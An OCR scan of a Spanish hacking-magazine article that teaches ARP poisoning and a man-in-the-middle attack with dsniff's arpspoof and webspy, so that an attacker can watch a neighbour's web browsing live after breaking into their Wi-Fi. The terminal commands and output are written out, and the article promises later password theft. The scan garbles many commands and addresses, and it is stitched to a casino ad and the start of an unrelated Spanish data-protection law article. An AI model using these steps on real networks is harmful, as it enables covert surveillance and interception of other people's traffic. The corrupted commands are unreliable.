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. Apuestas Deportivas, Juegos, Poker y Casino

Ahora con el bono amigo te
damos nada menos que 45€

Invita a tus amigos a registrarse y llévate
15€ por la patilla. ' |

A tus amigos les daremos la
bienvenida con 30€ Gratis
jGanaras tu y ganaran tus amigos!

|
|
| ' (Coste llamada Local)




¢ Pueden observar nueslras visitas a paginas WEB?

Seguimos con mas capitulos de Técnicas de Sniffing. Esta vez tocaremos un tema bastante
delicado y que seguramente a mas de uno pondri los pelos de punta. En este articulo com-
probaremos que con unos pocos pasos un usuario malintencionado podria estar visualizando
desde su navegador todas las visitas que realizamos en tiempo real a distintos portales WEB.
Todo ello, sin tener comprometida con ningiin tipo de software o malware la maquina victi-

ma y sin mover un solo dedo.

PODREMOS VISUALIZAR
TODAS LAS PAGINAS WEB
QUE ESTA VISITANDO UN
DETERMINADO USUARIO

EN TIEMPO REAL COMO

S| NOSOTROS MISMOS
ESTUVIESEMOS DELANTE DE
ESA MISMA MAQUINA

Saludos, mis queridas mentes inquie-
tas. -<|:-)[n]. Aqui estamos en otro
capitulo mds de Técnicas de Sniffing,
esta vez tocaremos un tema bastante
curioso que sorprenderd a mas de uno.
En este articulo a igual que en todos
aquellos del Taller Técnicas de Sniffing
aprenderemos que aplicando Técnicas
de Sniffing podemos conseguir infor-
macion muy sensible... Aunque para
este caso la palabra mds correcta seria
“ohservar”.

En este articulo aprenderemos que
aplicando unos simples pasos podre-
mos visualizar todas las paginas WEB
que estd visitando un delerminado
usuario en tiempo real como si noso-
tros mismos estuviésemos delante de
esa misma maquina. Fara ello no es
necesario que la maguina victima con-
tenga ningdn tipo de vulnerabilidad
que explotariamos por ejemplo con un
exploit, tampoco es necesario que esté
corriendo ningun tipo de software o
malwere que nosotros controlemos...
ii5olo es necesario que la maquina
victima pertenezca a la red!! Con ello
podriamos por ejemplo conectarnos a
una red inalambrica protegida. Romper
su seguridad. Entrar en la red vy, obser-
var por donde estd navegando el pro-
pietario de dicha red inalambrica en

ese preciso momento. .. Aungue ésta es
solo una posibilidad.

;Qué vamos a hacer?

Muestro objetivo es recoger la mayor
informacién posible sobre qué piaginas
WEB suele visitar mayoritariamente un
usuario determinado que pertenezca

a una red, bien sea cableada o ina-
ldmbrica. Esto nos podria servir para
realizar otros ataques con éxito que
veremos en otros capitulos de Técnicas
de 5niffing. Estos ataques bien podriar
ser la recogida de tal vez ;contrasenas
bancarias?, u otros datos de interés
muy personal... Las posibilidades son
excesivas, tan solo hay que echar a
volar nuestra imaginacion. Ya sabéis
que la imaginacién es [lave que abre
infinitas puertas.

Sabiendo qué portales suele visitar
con mayor normalidad nuestra victima
podriamos realizar ataques muy com-
prometedores, pero bueno, eso ya lo
veremos en otros articulos donde har:
mos hincapié en este texto que tienes
en tus manos.

Seguimos marcando nuestros ob-
jetivos. Para recoger todos esos datos
necesitaremos alguna herramienta gu-
vaya seleccionando toda esa informa
cion, para ello utilizaremos dos herr




mientas que nos serdn muy atiles para
=l tema tratado hoy, mds adelante os
\as presentaré y 0s ensenaré como ins-
ralarlas en vuestro sistema operativo.

Fara que estas herramientas puedan
recoger toda esa informacion es nece-
sario que realicemos un atagque Man
in the middle o Hombre en el medio.
Los conocimientos bdsicos de cémo
funciona este ataque y cimo llevarlo
a la practica ya lo vimos en el primer
articulo de Técnicas de 5niffing. Que
si la red es conmutada o compartida.
Que si la tarjeta de red entre en modo
promiscuo. El envenenamiento ARF o
ARPSpoof. Como funciona el protoco-
lo ARP. Como trabaja la tabla Caché
ARP REFLY, etc. Aunque todo esto ya
esta perfectamente explicado volvere-
mos a hacer hincapié en estos cono-
cimientos bdsicos sobre técnicas de
sniffing. Todo ello, para que nadie se
pierda. De todas maneras, no te vendra
mal sacar de la estanteria el ndmero
#110 de la revista @rroba y releerte el
articulo citado.

El escenario

En este apartado vamos a explicar cé-
mo realizar el ataque tedrico que lue-
go llevaremos a la prictica y que serd
totalmente real.

El ataque que aqui se explica solo
puede ser llevado a la prictica en re-
des de drea local ya que para realizar
el ataque nos aprovecharemos del pro-
tocolo ARP. Recordando algunas cosas
diremos que el protocolo ARP es el
encargado de “enlazar” las direcciones
IP con las direcciones fisicas (MACs).
El funcionamiento del protocolo ARP
es bastante sencillo de entender, aun-
gue nd vamos a hacer un estudio deta-
llado del protocolo, quédate con estas
cosas:

Cuando una mdquina desea conec-
tarse o enviar algo a otra maquina de
la red local debe de conocer de ante-
mano la direcciéon MAC de destino.

Recuerda bien esto: Para enviar
cualquier paquete en una red es ne-
cesario conocer la direccion MAC de
destino.

Cuando un usuario desea intercam-
biar datos, enviar informacion, etc, uti-
liza una direccién IP. Luego la tarjeta
de red ya se encarga de transmitir el
paquete.

La tarjeta de red conoce los si-
guientes datos: Direccidn IP de origen,
Direccion MAC de origen y por Gltimo

la direccidn IP de destine {indicada
por el usuario). Pero como estaréis ob-
servando no conoce la Direccian MAC
de destino,

;Como obtiene la tarjeta de red
la direccidn MAC de destino? Pues
muy ficil. La tarjeta de red va a la
TABLA CACHE ARF, que contiene la
correspondencia entre Direcciones IP
y Direcciones MAC utilizadas reciente-
mente, y busca en ella si existe alguna
entrada con la Direccién IP de destino.
Si la Direccion IP solicitada de destino
se encuentra en esta tabla el proceso
se termina en este punto, puesto que
la maquina que origina el mensaje ya
dispone de la Direccidon MAC de la
magquina destino.

Si la direccidén buscada no esta
en |a tabla, el protocolo ARP envia un
mensaje a toda la red, a la direccion
broadcast. Cuando una maquina reci-
be este paquete y reconoce su direc-
cidn IP envia un mensaje de respuesta
que contiene su direccion MAC. Cuan-
do la mdquina origen recibe este
mensaje procedente de la maquina
origen actualiza su Tabla caché ARP
con la nueva entrada [Direccién IP

- Direccion MAC] y ya puede empezar
a establecer la comunicacién con la
maquina destino.

Una vez comprendido el funciona-
miento bdsico del protocolo ARP ex-
pliqguemos brevemente comao funciona
la tabla caché ARP antes de explicar el
ataque de hombre en el medio o mds
conocido como MAN IN THE MIDDLE.

La tabla caché ARP

Esta tabla funciona como cualguier
otra tabla caché. Es decir, mantenien-
do las iltimas entradas (respuestas, por
ejemplo de un broadcast) de los otros
hosts de la red y eliminando aquellas
que no se utilicen.

Cada vez que a una maquina le
llega un paquete ARP REPLY, que es
la respuesta de una paquete ARP RE-
QUEST, este actualiza su tabla caché
ARP con los datos actualizados [Di-
reccion IP = Direccion MAC]. De esta
forma, cuando deseemos enviar un
paquete a una maquina no tendremos
que realizar ningln broadcast, la di-
reccion MAC ya se encuentra enlazada
con la direccion IP en tabla caché ARP.

Hombre en el medio // Man in the middle

la conexidn HOST A - HOST B,




La buscaremos en ella y la utilizaremos para enviar el paquete. Si por cualquier
circunstancia no tenemos almacenada esa Direccidn IP/Direccion MAC volvere-
mos al proceso del principio, al broadcast.

Envenenamiento ARP

Ya conocemos cémo funciona le protocolo ARP y su tabla caché, Ahora tan solo
nos queda aprender y entender como podemos realizar un envenenamiento ARP
0 ARP Spoof.

Hasta ahora hemos entendido que si por ejemplo deseamos enviar un paque-
te a un HOST A, conociendo su direccion IP: 192.168.1.33, lo que haria la méa-
quina para enviar el paguete seria:

- Buscar en la tabla caché ARP la direccién IP: 192.168.1.33. Si esta entrada
existe observa qué direccion MAC tiene enlazada. Recogemos la direccidn fisica
(MAC), crea el paquete ARP, los demds paquetes necesarios y envia el paquete.

- 5i al buscar por |a direccién IP en la tabla caché ARP no encontramos una
entrada con esa direccion IP enviamos un paguete ARP REQUEST a la direccidn
de brodcast, normalmente es [a direccién IP: 192.168.1.255, aunque esto no
tiene que ser asi. Al enviar este paquete lo que estamos haciendo es enviar a to-
das las miquinas de la red un paquete que pregunta de quién es la direccidn IP:
192.168.1.33. La mdquina que tenga esta direccidn IP contestard con un paguete
ARP REFPLY, este paquete contiene la direccidn fisica que necesitamos para crear
el paguete ARP. Luego vaolvemaos al punto anterior.

Conclusion: El paquete se envia segin la direccion fisica, la MAC de la tarje-
ta de red, no a través del protocolo IP,

Entendiendo esto podemos pensar lo siguiente: si somos capaces de envene-
nar la tabla caché de una miquina de la red ethernet con entradas ARP falsas,
podemnos e¢ngainiar a dicha maquina para que envie los paquetes con destino al
HOST A hacia otro host de [a red. La mdquina atacante.,

Imaginaros la siguiente labla:

HOST A: Direccidn IP: 192.168.1.33. Direcciédn MAC:
00:00:00:00:00:01

HOST B: Direccidén IP: 192 168.1.34. Direccidn MAC:
00:00:00:00:00:02

HOST C: Direccién IP 192.168.1.1.
Direccidn MAC: RO:00:00:00:00:03

Imaginaros ahora que queremos envenenar la tabla caché ARP del HOST A para
que cuando quiera enviar una paguete al HOST B se lo envie realmente al HOST C.
La tabla caché ARP del HOST A es la siguiente:

ARF -a

Interfaz: 192.168.1.33 --- 0Ox4
Direccibdn IP Direccion fiszica Tipo HOST
192 .168.1.34 00-00-00-00-00=02 Dinamico B
1892 168.1.35 Q0=00-00-00-00-03 Dindmico C

Lo que tenemos que conseguir es que [a tabla caché del HOST A quede de la si-
guiente forma:

ARP —a (CACHE EMVENENADA}

Interfaz: 192168 133 === {Ix4
Direccidn IP Direccidn fisica Tipo HOST
192.168.1.34 00=00=00-=00-00-03 Dinamico B
18216801 35 Q0-00-00-00-00-03 Dindmico &

La diferencia es que ahora [a direccién IP del HOST B estd enlazada con la di-
reccion MAC/Fisica del HOST C. De esta manera cuando el HOST A desee enviar un
paquete al HOST B este se lo enviard realmente al HOST C.
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De esta manera, siendo nosotros
= HOST C, obtendriamos todos los
naquetes que el HOST A desease en-
<1ar al HOST B. 5i aparte activamos el
o_forward que se encarga de reenviar los
naquetes robados a su verdadero destina-
tario nadie se enteraria de lo sucedido.

El ataque: hombre en el medio

Cuando hablamos de un ataque de hom-
hre en el medio realmente nos referimos
a interponernos entre dos maquinas. Es
decir, que todos los paquetes que serian
enviados a HOST B por HOST A pasen
por nosotros (HOST C), de igual manera,
que los paquetes con destino al HOST A
enviados por HOST B pasen por noso-
ros. En cualquiera de los dos casos, que
estos paquetes vuelven a reenviarse a su
verdadero destinatario. De esta manera
contralaremos los dos carriles de la co-
municacion/conexion: HOST A — HOST
B, HOST B — HOST A. Y ninguno de los
dos hosts se enterard de lo que estd suce-
diendo.

Para realizar este ataque es necesario
realizar dos veces el ataque de envenena-
miento ARP contra las tablas caché ARP
de los HOST A y HOST B.

Realizando un ataque de

Hombre en el medio

Para realizar el ataque de hombre en
el medio como hemos explicado ante-
riormente, vamos a utilizar como Sistema
Operativo GNU/LINUX, la distribucion
escogida serd Ubuntu. El software que
utilizaremos serd una suite muy intere-
sante de la que ya hemos hablado varias
veces en Técnicas de Sniffing y en otros
articulos: la suite dsniff. Os dejo aqui la
pagina oficial de este proyecto: http/
www.monkey.org/~dugsong/dsniff/

Dsniff es una coleccién de las herra-
mientas para el administrador o hacker
que revisan y prueban la seguridad de la
red.

Dentro del paquete nos podemos en-
contrar las siguientes herramientas:

- Dsniff: Un esnifer de contrasenas.

- Filesnarf: Captura y guarda ficheros
pasados a través de NFS.

- Mailsnari: Captura todo el trifico
del correo (SMTP y POP3). Guarda el re-
sultado en formato mbox

- Msgsnarf: Registra mensajes de las
sesiones de CHAT abiertas como msn y
IRC.

- Urlsnart: istra todas las URLs del
trafico esnifado. Hablaremos de esta utili-

dad mds adelante.

- We : Esta es la herramienta a la
que dedicamos hoy todas estas pdginas.
Esta herramienta nos permitird observar
desde nuestro navegador todas las pa-
ginas que esta visitando |a victima en
tiempo real.

Este grupo de herramientas nos ayu-
dardn a supervisar de modo pasivo toda
una red de datos interesantes ;)

- Arpspoof: Herramienta que hemos
ido utilizando y seguiremos utilizando
a lo largo de todo el Taller Técnicas de
Sniffing.

- Dnsspoof: Otra herramienta de gran
utilidad. La tocaremos en otro articulo
de Técnicas de Sniffing. Esta utilidad nos
permite falsificar respuestas DNS para
resolucién de nombres de dominios.
Enlazada con ARPSpoof y con URLsnarf
puede ser mortal :b

- Macof: Herramienta que inunda la
red con direcciones MAC falsas y alea-
torias. Provocando en ocasiones que el
medio conmutado funcione como medio
compartido o en el peor de los casos que
la red deje de funcionar.

Este grupo de herramientas facilitan
la interceptacién del trifico de la red
que normalmente es inaccesible a un
atacante.

- Sshmitm: Reenvia (proxy) y esnifa
trafico SHH redirigido a nuestra maquina
por la utilidad dnsspoof. Captura claves
SHH y permite el hijacking de sesiones
interactivas. En teoria solo soporta el pro-
tocolo SHH version 1. Una herramienta
bastante peligrosa. Me atreveria a decir
que es la mds peligrosa de todas.

- Webmitm: Muy similar a sshmitm,
hace de proxy transparente y esnifa
conexiones HTTP y HTTPS redirigidas
a nuestra maquina con dnsspoof. Sus
posibilidades ponen los pelos de punto
a cualquiera, ya que permiten capturar
informacion muy sensible de paginas se-
guras que utilizan el protocolo S5L.

Este grupo de herramientas ponen
ataques de tipo hombre en el medio, ac-
tivos contra sesiones vueltas a dirigir de
SSH y de HTTPS explotando atascamien-
tos débiles en PKI.

Existen por dltimo otras herramientas
también muy interesantes:

- Show: Permite analizar trifico SHH
en su version 1 y 2. Intentos de auten-
ticacion, longitud passwords, longitud
de comandos, etc. Este si que suministra
informacidén acerca de la versiéin 2 del
protocolo S5H.

- Tepkill: Permite matar conexiones ya
establecidas. Herramienta que ya hemos

HACK SNIFFING

visto en Técnicas de Sniffing y Firewalls.

- Tcpnice: Parecida a TepKill pero en
lugar de cerrar conexiones las ralentiza.

Como ves, la suite de herramientas de
Dsniff es un grupo de herramientas muy
interesante, necesario CONOCer y que nos
puede ayudar para analizar ataques y
para estudiar con pruebas de penetracién
nuestras redes. Hasta se puede decir que
es de esas herramientas que en manos
de desconocidos o en manos de usuarios
mal intencionados “acojona” bastante.

Solo me queda mencionar lo que el
autor dice de sus herramientas “Escribi
estas herramientas con intenciones ho-
nestas - de revisar mi propia red, y de
demostrar la inseguridad de la mayoria
de los protocolos de uso de la red. No
abusar por favor de este software.”

Muchos de vosotros que os inicidis
en el mundo GNU/LINUX y en esto de la
seguridad informadtica seguramente estdis
pensando: “Si, si. Un grupo de herra-
mientas muy interesantes, muy practicas
y del gue cualquiera desea disponer...
pero yo na tengo los conocimientos
necesarios para tenerlo instalado en mi
ordenador...”

Cuando yo me inicié en esto del
software libre y de la seguridad informd-
tica también tenia el mismo problema.
Cuando iba a instalar una herramienta
me encontraba que tenia problemas de
dependencias, etc. Hoy en dia todo esto
se ha facilitado muchisimo.

Para poder instalar este grupo de
herramientas en una distribucidn basada
en Debian, como es Ubuntu, tan solo te-
nemos que abrir una Terminal del sistema
con permisos de root, actualizar la lista
de repositorios con un simple:

apt-get update

Y prc:ceder ala compilacién instala-
cion:

§ apt-get install dsniff

Con esto ya tendremos instalado en
nuestro sistema la suite dsniff. 5i no dis-
pones de Internet para poder instalarte
de esta manera la suite dsniff tienes otras
alternativas. Hoy en dia son muchos los
proyectos de seguridad a través de Live-
CDs que ya cuentan con esta suite de
herramientas ya compiladas. Un ejem-
plo claro seria la conocidisima Live-CD
Black|Track, entre otras muchas.

Una vez que tenemos instalado el
paquete dsniff vamos a utilizar la herra-
mienta ARPSpoof para llevar a cabo el
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atague de Hombre en el medio o MAN
IN THE MIDDLE.

Para ello abrimos una Terminal y es-
cribimos en ella lo siguiente:

% echo 1> /proc/sys/net/
ipvd/fip forward

Con esto lo que hacemos es reenviar
el trifico que recibimos gracias al ataque
de envenenamiento ARP a su verdadero
destinatario.

5i no activamos el ip_forward, el
verdadero destinatario nunca recibira sus
paquetes. ¥ esto no nos interesa.

Imaginate que nos metemos en medio
de un host de la red local y el Router que
da salida a Internet. 5i no reenviamos el
trafico dicho host no podrd conectarse

a Internet. Le provocaremos un DOS.
A parte de que seria extremadamente
cantoso, no nos dejaria realizar nuestro
objetivo.

Lo siguiente es envenenar las Tablas
Cache ARF de los hosts para ponernos en
medio de la conexidn y realizar el ataque
Man in the middle.

Hemos fijado un objetivo. El HOST
B. Queremos visualizar las paginas WEB
que estd visualizando este host en tiempo
real. Por lo tanto pasamos a envenenarlo
con un envenenamiento ARP.

§ arpspoof -i ethl -t
192.168.1.33 192.168.1.1

Con esto generamos un paquete ARP
envenenado con destino al HOST B. En

rootENeTTinG: ~

Archive Editar Mer Jerminal Solapas Ayuda
roct@NeTTinG:~# echo 1 > Jproc/sys/net/ipva/ip_forward
iroot@NeTTAnG: ~# arpspoof -i athD -t 192,168.1.33 192.168.1.1
HO:2:44:53:5d:0] ©:14:bf:e1:d2:b5 0806 42: arp reply 192.168.50.11 is-at 0:2:44:5

13:5d:91

10:2:44:53:5d:91 ©:14:bf :el:d2;
13:5d:51

10:2:44:53:5d:91 ©:14:bf:el:d2:
3:5d:91

10:2:44:53:5d:91 0:14:bf:el:d2:
13:5d: 91

10:2:44:53:5d:91 0:14:bf:el:d2;
13:5d: 91

16:11:50:46:37:de 0:14:bf:el:dzZ
l:46:37:da

j0:11:50:46:37:de 0:14:bf:el:dz
l:46:37:de

0:11:50:48:37:de 0:14:bfrel:dz
1: a6 37 :de

6806 4Z: arp reply 192.168.50,11 is-at 0:2:44:5|
0805 42: arp reply 192.188.%0,11 1s-at 0:2:44:5
0805 42;: arp reply 192.168.50.11 is-at 0:2:44:5

0806 42: arp reply 192.168.50.11 is-at 0:2:84:5

©806 42: arp reply 192.168.50.11 is-at 0:11:50

OBOS A2: arp reply 192.158.58.11 is-at 0:11:50

OBOS 42: arp reply 192,168.50.11 1s-at 0:11:50 |

root@MeThinG: -
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rn-n‘tﬂueTnnG-# arpspoof -1 athe -t 182.168.1.1 192.168.1.33
j0:2: 44:53:5d:01 ©:14:bf:el:d2:b5 0806 42: arp reply 192.168.50.11 is-at 0:2:44:5

(e =

10:2:44:53:5d:91 5:14:bf:el:d2:
3:5d:91

10:2:44:53:5d:91 0:14:bf:el:d2:
13:5d: 51

jO:2:44:53:5d:91 0;14:bf:el:d2;
3:5d4-91

{0:2:44:53:5d:91 0:14:bfrel:id2:
13:5d: 91

j0:11:50:46:37:de 0:14:bf:el:dz
|:46:37: de

D:ll:Sﬂ:dE:B?:dﬂ B:14:bf:el:dz
]: 4637 de

10:11:50:46:37:de 0:14:bf:el:dz
: 46 37 de

0EDE 42; arp reply 192.1865.%95.11 is-at 0:2:44:5
QB0G 42: arp reply 1852.168.%0.11 is-at 0;2;44:5
0806 42: arp reply 192.168.50.11 1s-at 0:2:44:5

OBODS 42: arp reply 192.1688.50.11 1s-at 0:2:44:5

0B06 42: arp reply 192.168.50.11 is-at 0:11:50

0BEDE 42: arp reply 192 168.50.11 is-at 0:11:50

E806 42: arp reply 192.168.50.11 is-at 9:11:50 §

este paquete envenenado se enlaza la

direccidn IP del Router con la direccidn
MAC del HOST C, el atacante.

t arpspoff -1 ethl -t
192.168.1.1, 192.168.1.33

De igual manera realizamos lo mis-
mo con el HOST A, el Router. De esta
manera nos podremos en el medio de la
conexion. Un atague de Hombre en el
medio en toda regla.

Podemaos comprobar si todo ha ido
bien haciendo un ARP - a en los dos
hasts victima. El HOST A (El Router) v
el HOST B. En los dos host tenemos que
encontrar la direccion MAC del HOST
C duplicada. Como vimos en el ejemplo
que puse mas arriba.

Realizado el ataque de hombre en el
medio pasamos a compilar instalar herra-
mientas para poder realizar el ataque.

WebSpy y Netscape

Para poder realizar el atague con éxito
necesitamos tener instalado en nuestro
sistema el navegador MNetscape. Esto es
indispensable.

WehSpy solo trabaja con este navega-
dor, no podemos utilizar a nuestro queri-
do amigo Firefox.

Fasemos a instalar Netscape.

A la hora de escribir este articulo la
dltima versidn de Netscape es la versidon
7.1 que podemos v debemos descar-
gamos de: http:/fftp.netscape com/puby
netscape?/english/7. T/unix/linux22/nets-
cape-ibBé-pc-linux-gnu-installer.tar.gz

Descomprimimos el fichero mecfi'am,-
un Terminal posiciondndonos en el di-
rectorio donde hemos descargado dicho
fichero:

5 tar -xzvf netscape-i6B&6-
pc-linux-gnu-installer.tar.gz

Entramos en el directorio:

Cd netscape-ibBb-pc-linux-
gnu-installer

Ejecutamos [a instalacién de Netsca-
pe:

/netscape-installer

Al lanzar la instalacion nos encon-
tramos Con un pmblema en la libreria

libgtk-1.2




root@MNeTTING: ~ /D (1.2.10-17buildl}

;;Lfgﬁ;netﬁﬁapr-hrd.ﬂhw
Archivo Editar Ver Terminal Solapas J'{u:la

~sot@NaTTiNG: ~/Desktop /netscape-installer# dir
config.ini  license.txt netscape-installer-bin xpi
installer.ina netscape-installer README

Configurande libglibl.2
(1.2.10-10ubuntul}

Configurando libgtkl.2 (1.2.10-
17buildl)

'ﬂutiﬂuTTan:«fﬂusktnp{natscapa-in;t&llerl'lgnntscaaauinstuller| i
./netscape-installer-bin: error while loading shared libraries: libgtk-1.2.s0.0:00
cannot open shared object file: Mo such file or directory |

root@NeTTinG: ~/Dasktap/
netscape-installerd ./
netscape=-installer

Snetscape-installer-
bin: erreor while loading
shared libraries: libgtk-
1.2.80.0: cannot open shared
object file: Ho such file or
directory

No s preocupéis, tiene facil solucién.

En &l mismo Terminal y con la ayuda
de apt solucionaremos el problema.
Actualizamos la lista de repositorios:

apt-get update
Y por dltimo instalamaos la libreria:

apt-get install libgtkl.2
Leyendo lista de paguetes...
Hecho
Creando Arbol de
dependencias... Hecho
Se instalaran les siguientes
paguetes extras:

libglibl .2 libgtkl,2-common
S5e instalardn los siguientes
pagquetes NUEVOS:

libglibl.2 libgtkl.2
libgtkl . 2=common
0 actualizados, 3 sze
instalaran, 0 para eliminar y
240 no actualizados.
Mecesito descargar 1112kE de
archivos.
Se utilizaran 3043kPB de espacio
de disco adicional después de
desempagquetar.
cDesea continuar [5/n]? 3
Des:l http://es.archive.ubuntu.
com breezy/main libgtkl.2-
common 1.2.10-17Tbuildl [158kB]
Des:2 http:/SfSfes.archive.ubuntuy.
com breezy/main libglibl.2
1.2.10=-10ubuntul [117kB]
Des:3 http://fes.archive.
ubuntu.com breezy/main
libgtkl.2 1.2.10-17buildl
[B37kB] Descargados 1112kE en

208 (53, TkB/S=s)

Preconfigurands paguetes
Seleccionando el paquete
libgtkl.2=-common previamente no
seleccionado.
(Leyendo la base de datos ...
16509 ficheros y directorios
instalados actualmente.)
Daesempaquetando libgtkl.2-
common {de .../ libgtkl.2=
common 1.2,10-17buildl all.deb)
Seleccionando el paquete
libglibl.2 previamente no
seleccionado.
Desempagquetando libglibl.2
(de .../ libglibl.2 1.2.10-
10ubuntul i386.deb) ...
Seleccionando el paquete
libgtkl.2 previamente no
seleccionado.
Desempaquetando libgtkl.2 (de
-flibgtkl.2 1.2.10-17buildl
i386.deb)
Configurandeo libgtkl.2-common

rootm el Tinds: ~ e

Una vez instalada correctamente la
libreria volvemnos a lanzar el instalador
de netscape:

./netscape-installer

Como observaréis ahora no tenemos
ningdn problema en arrancar el asistente
de instalacién ;)

Pulsamas sobre MNext, Aceptamos la
licencia. Indicamos el directorio de ins-
talacién asi como el tipo de instalacién.
Esperamos a que realiza las conexiones
con el servidor y ya tendremos instalado
el navegador netscape en nuestra distri-
bucion GNU/LINUX ;)
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:Larﬂndn lista de paquetes... Hacho

|Creando 4rbol de dependencias...

Hacho

IS¢ instalarén los siguientes paguetes extras:

libglibl.2 libgtkl.2- common

Ise instalardn los siguientes paquetes NUEVOS:

I libglibl.2 libgtkl.2 libgtkl.2-common

|0 actualizados, 3 se instalardn, O para eliminar y 240 no actualizados,

INecesito dascﬂrg-r 1112kB de archivos.

I
|Lﬂlltl contiruar [S/nl? s

Sa wtilizardn 3043kB de espacio de disce adicional después de desempaguetar.

!%ﬂ:ﬁi ?ttp ://fes.archive.ubuntu.com breezy/main libgtkl.2-common 1.2.10- 17buildl i
1 8

es:3 http://es.archive.ubuntu.com breszy/main libgtkl.2 1.2.10-17buildl [HB?hE]fE:

escargades 1112kB en 205 (53, 7kB/s)

(Preconfigurands paquetes ...

t5eleccionando el paguete libgtkl.2-common previamente no seleccionado.

{({Leyends La base de dates ...

176508 ficheros y directerios instalados actualmente.)

mumquttandu libgtkl.2-common {de ..

LR
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iiAl abordaje...!!

Explicada y comprendida la teoria. Ins-
taladas las herramientas necesarias para
realizar el ataque. Solo nos queda abor-
dar la prictica para realizar un ataque
totalmente real.

Como hemos venido indicando mas
arriba, para realizar el ataque es necesa-
rio realizar un Mitm (Man in the Middle,
Hombre en el medio). Necesitamos inter-
ponernos en las conexiones entre el host
victima y la puerta de enlace. De esta
manera todas las conexiones hacia Inter-
net pasaran por nosotros.

Seg(n el esquema anterior, tenemos:

Host A: Victima.
Host C: Puerta de enlace.
Host B: Atacante.

Para realizar un ataque de interme-
diario, hombre en el medio, tiramos de
la suite dsniff, mds concretamente de

arpspoof.
Abrimos un Terminal. Lanzamos un
ping al host A.
Ping 192.168.1.33
Activamos el ip_forward:

# echo 1 » /proc/sys/net/
ipvd/ip forward

Lanzamos Arpspoof:

# arpspocf -i ath0 -t
192 1le8.1.1

192.168.1.33
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Y por dltimo completamos el ataque
de intermediario con otro terminal:

Ping 192.168.1.1
farpspoof =i athl -t
192.168.1.1 192:168.1.33

De esta manera controlaremos los
dos carriles de la conexidn entre Host A
y Host C.

Todas las conexiones entre estos dos
hosts pasardn por nosotros y serdn reen-
viadas a su verdadero destinatario.

Jugando con WebSpy

Tan solo nos queda por afiadir la guinda
al pastel...
Ejecutamos netscape desde el mend.
Abrimos un nuevo Terminal. Tranqui-
los que este ya es el Gltimo. Y escribimos
en este lo siguiente:

# webspy =-i athO
192.168.1.33

Al lanzar webspy con estos para-
metros, webspy se pondra en modo
listening, escuchando todo el tréfico que
salga del Host A.

Si el usuario que se encuentra tras ese
host estd navegando por la gran red de
redes, webspy empezard a recopilar en
pantalla todas las pdginas web que visita
nuestro querido vecino... pero por si fuera
poco... jjlas ird insertando en el netsca-
pe!! Para que nosotros podamos ir obser-
vando lo que nuestro querido vecino esta
visualizando en tiempo real y sin mover
un solo dedo... Con herramientas como
estas... jQuién quiere ver gran hermanof

Aqui os dejo en una captura de
pantalla lo que he ido recopilando mi

También os dejo otra captura de
pantalla con el Netscape funcionando a
través de webspy ;)

Como veis, realizar este ataque a
través de GNU/LINUX y con el paquete
dsniff es juego de nifios.

Conclusiones:

En cada articulo de Técnicas de Sniffing
vamos descubriendo cémo mediante
estas técnicas de instruccidn en redes
locales podemos conseguir con un poco
de paciencia y picardia casi cualquier
Co54...

Articulo a articulo vamos descu-
briendo lo peligroso que es enviar datos
sensibles por una red local que no esté
realmente bien protegida. Mads todavia,
cuando estos datos viajan en el texto
plano, sin ningdn tipo de encriptacion...
Aungue dependiendo de las circunstan-
cias y, como vimos en uno de los arti-
culos de Técnicas de Sniffing, tampoco
estamos muy seguros utilizando los pro-
tocolo seguros...

Por dltimo, confirmar a los curiosos...
que si. Que la interfaz que he utilizado
para los ejemplos pertenece a una tarjeta
inaldmbrica... Que el ejemplo se ha de-
sarrollado completamente con tecnologia
Wi-Fi y que el ataque es TOTALMENTE
posible y REAL.

Muy pocos seguramente son cons-
cientes de lo importante que puede ser
conocer por donde se “mueve” nuestra
victima... En el préximo capitulo de Téc-
nicas de Sniffing utilizaremos todo esta
informacion para realizar un ataque que
seglin que caso puede ser... jmortal? Vo-
sotros mismos lo juzgaréis.

Nos vemos el mes que viene en Hack
Wi-Fi.

Un saludo lectores -<|:-p(n]

NeTTinG (Enrique Andrade Gonzdlez)

nettinghxc@gmail.com

http://www.wadalbertia.org
http://www.hackwiii.tk

http://www.blognetting.tk
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CURSO de HACKING

Leqgislacion: LOPD

;Conocéis vuestros derechos? jPues ya va siendo hora! Este mes os vamos a dar algunas no-
ciones sobre la LOPD que conviene que conozcais. También seguiremos con la inyeccion de
SQL y el uso de nuestro propio Microsoft SQL Server.

Hemos comentado en mds de una oca-
sion qué le puede pasar a un hacker que
sea detenido por penetrar en una red aje-
na, pero de pasada, asi que este mes va-
mos a verlo con un poco mads de detalle.

Los tres pilares de la seguridad de la
informacion (pues lo que importa es la
informacion, los demads elementos infor-
mdticos son reemplazables) son la confi-
dencialidad, integridad y disponibilidad.
Hay quien afiade mds, pero en esos tres
estan todos los expertos de acuerdo.

Si aplicamos estos principios de la se-
Euridad a lo que NO debe hacer un hac-

er en una red ajena si no quiere meterse
en lios legales, nos encontramos con que
no debe borrar nada ni bloquear su acce-
so (atentaria contra la disponibilidad de
la informacién), no debe alterarlo (aten-
taria contra la integridad de los datos), y
no debe vender dicha informacidn (pues
atentaria contra la confidencialidad)... al
menos esa es |a base. A eso hay que ana-
dir que si NO obtiene ningin beneficio
economico con ello (por lo que no debe
cobrar por informar al hackeado de sus
fallos, por ejemplo) tiene todavia menos
posibilidades de visitar la cércel.

Pero todo esto, aunque hay resolucio-
nes judiciales en Espafa que lo sustentan,
es en teoria porque le puede tocar llevar
el caso a un juez que interprete la ley de
otra forma. Como me dijo en una ocasidn
un abogado “he perdido casos que esta-
ban ggnadas, y ganado casos que estaban

idos”.

Suelo dar por sentado que aquellos
que me leéis tenéis dos dedos de fren-
te, pero eso no significa que conozcais
vuestros derechos... y deberes, asi que
o0s vamos a explicar una de las leyes
mds importantes que hay en Espana de
aplicacion en el dmbito de Internet y que
conviene que conozcais (no os vamos
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a preparar para pasar un examen con la
nota de magna cum laude, porque no po-
demos enrollarnos mucho, pero nos con-
formaremos con que sepais lo basico): la
LOPD (otro dia os hablaremos de la L5SI).
La LOPD es el acronimo de Ley
Orginica de Proteccién de Datos de Ca-
racter Personal. Basicamente esta ley se
ocupa de velar por los derechos de los
ciudadanos cuando una empresa trata sus
datos personales. El objetivo es que las
empresas no puedan disponer a placer de
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los datos personales de sus clientes para
mandarles publicidad, vendérselos a otra
empresa o cualquier otra burrada que os
podais imaginar.

Para velar por el cumplimiento de esta
ley se cred la Agencia Espafiola de Pro-
teccion de Datos (AEPD), que es la que
actda tras la denuncia de un ciudadano
v, en caso de detectar un delito, le indica
al juez la gravedad del mismo y el rango
de sanciones a imponer. Finalmente es
el juez el que impone la sancién y el im-
